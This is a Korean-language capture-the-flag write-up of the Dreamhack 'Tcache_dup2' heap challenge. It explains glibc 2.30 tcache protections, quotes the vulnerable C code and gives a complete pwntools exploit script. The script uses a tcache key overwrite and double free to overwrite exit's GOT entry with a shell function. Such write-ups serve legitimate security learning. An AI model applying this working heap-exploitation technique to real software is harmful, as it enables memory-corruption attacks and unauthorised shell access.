[Pwnable]Tcache_dup2 write-up
오늘은 드림핵의 Tcache_dup2 write-up을 작성해보겠습니다.
https://dreamhack.io/wargame/challenges/67
로그인 | Dreamhack
dreamhack.io
문제는 위의 사이트에서 다운로드 받으실 수 있습니다.

여기서 유의깊게 보셔야되는 점이 libc-2.30.so 버전 라이브러리를 사용한다는 것 입니다.
저희가 저번에 풀었던 tcache_dup은 2.27버전을 사용했었습니다.
추가된 보호기법이 두가지가 있습니다.
1.tcache에 대해 free()를 실행할 때 key값을 확인하는 것으로 DFB 여부를 확인한다.
2.Tcache의 count로직
해당 코드는 malloc함수가 호출될 때 실행되는 로직입니다.
해당 코드에 count[tc_idx]라는 값이 0 일경우 tcache 할당 로직이 발생하지 않기 때문에, 저희가 주소를 넣어도 실행했을 때 원하는 청크 대신 다른 bin의 청크가 할당될 수 있습니다.
해당 포인트를 확인하고 문제를 확인해보겠습니다.
먼저 문제의 보호기법을 확인해보겠습니다.

PIE가 꺼져있고 RELRO가 부분적으로 적용되어 있습니다.
Partial RELRO가 적용되어 있기 때문에 GOT overwrite가 가능합니다.
문제 코드 중 핵심적인 코드들만 확인해보겠습니다.
void create_heap(int idx) {
size_t size;
if (idx >= 7)
exit(0);
printf("Size: ");
scanf("%ld", &size);
ptr[idx] = malloc(size);
if (!ptr[idx])
exit(0);
printf("Data: ");
read(0, ptr[idx], size-1);
}
create_heap입니다.사용자에게 사이즈를 입력 받고, 메모리 주소를 ptr[idx]에 저장합니다 그 이후 크기 이하만큼의 데이터를 입력받습니다.
void modify_heap() {
size_t size, idx;
printf("idx: ");
scanf("%ld", &idx);
if (idx >= 7)
exit(0);
printf("Size: ");
scanf("%ld", &size);
if (size > 0x10)
exit(0);
printf("Data: ");
read(0, ptr[idx], size);
}
modify_heap입니다. 배열의 idx랑 사이즈를 입력받고, 해당 공간 메모리 주소의 데이터를 수정합니다.
이 코드는 아마 dfb방지 key값을 변조하는데 사용하는 것 같습니다.
void delete_heap() {
size_t idx;
printf("idx: ");
scanf("%ld", &idx);
if (idx >= 7)
exit(0);
if (!ptr[idx])
exit(0);
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
코드 안에 선언되어 있는 get_shell입니다.
사용자에게 입력받은 인덱스 값의 주소의 동적 메모리를 해제합니다. 이 때, double free bug가 발생할 수 있습니다.
익스플로잇 시나리오를 작성해보겠습니다.
1. 0x10 사이즈에 해당하는 청크를 여러개 할당 ( count = 0을 방지하기 위해 )
2. 1에서 할당받은 청크를 해제하여 Tcache list에 추가(그중 idx=0의 청크를 공격에 사용
3. 0번 인덱스에 저장된 tcache chunk의 key값을 modify_heap을 통해 변조
4. 0번 인덱스를 다시 한번 해제하여 double free bug
5. 0x10 사이즈의 메모리를 tcache에서 할당하여 exit()의 got주소를 전달
6. 0x10 사이즈 메모리를 tcache에서 할당
7. 0x10 사이즈에 해당하는 메모리를 tcache에서 할당한 뒤, get_shell의 주소를 전달
왜 5번에서 타깃을 exit()로 잡는지 의문이 생길 수 있습니다.

일단 exit로 익스플로잇을 바꿔서 작성해보고 free나 다른 함수의 got도 써서 확인해보겠습니다.
def create(size, data):
r.sendlineafter(b'> ', b'1')
r.sendlineafter(b'Size: ', str(size).encode())
r.sendafter(b'Data: ', data)
def modify(idx, size, data):
r.sendlineafter(b'> ', b'2')
r.sendlineafter(b'idx: ', str(idx).encode())
r.sendlineafter(b'Size: ', str(size).encode())
r.sendafter(b'Data: ', data)
def delete(idx):
r.sendlineafter(b'> ', b'3')
r.sendlineafter(b'idx: ', str(idx).encode())
익스플로잇입니다. 각각의 함수에 대응하는 코드를 짜주었습니다.
create(0x10, b'A'*8)
create(0x10, b'B'*8)
create(0x10, b'C'*8)
delete(2)
delete(1)
delete(0)
tcache->counts[tc_idx]값을 늘리기 위해 할당->해제를 반복합니다.
main에서 create를 7번 이상 실행하지 못하게 막아놨기 때문에 3번만 실행했습니다.
modify(0, 0x10, b'A'*16)
delete(0)
키 값을 변조하고 double free bug를 발생시킵니다.
create(0x10, p64(e.got['exit']))
create(0x10, b'B'*8)
create(0x10, p64(e.symbols['get_shell']))
할당을 해서 e.got['exit']의 주소를 get_shell로 바꿉니다.
r.sendlineafter(b'> ', b'3')
r.sendlineafter(b': ', b'7')
r.interactive()
그 뒤엔 그냥 exit가 실행될 수 있도록 아무함수 + idx값에 7을 전송해주면 쉘을 획득할 수 있습니다.

이렇게 쉘을 획득할 수 있습니다.
해보면서 알게된게 got를 exit로 설정해야하는 이유가 create가 6번까지라서 create->delete로 이어지는 free가 호출이 불가능하네요.
이상으로 tcache_dup2에 대한 write-up을 마치겠습니다.
어제 부부해킹캠프하면서 context.log_level = 'debug'를 써봤는데 넘 편하더라고요, 이거 읽어보시는분들도 한번 써보시면 오류 찾는데 훨씬 수월하실 것 같습니다!
읽어주셔서 감사합니다~!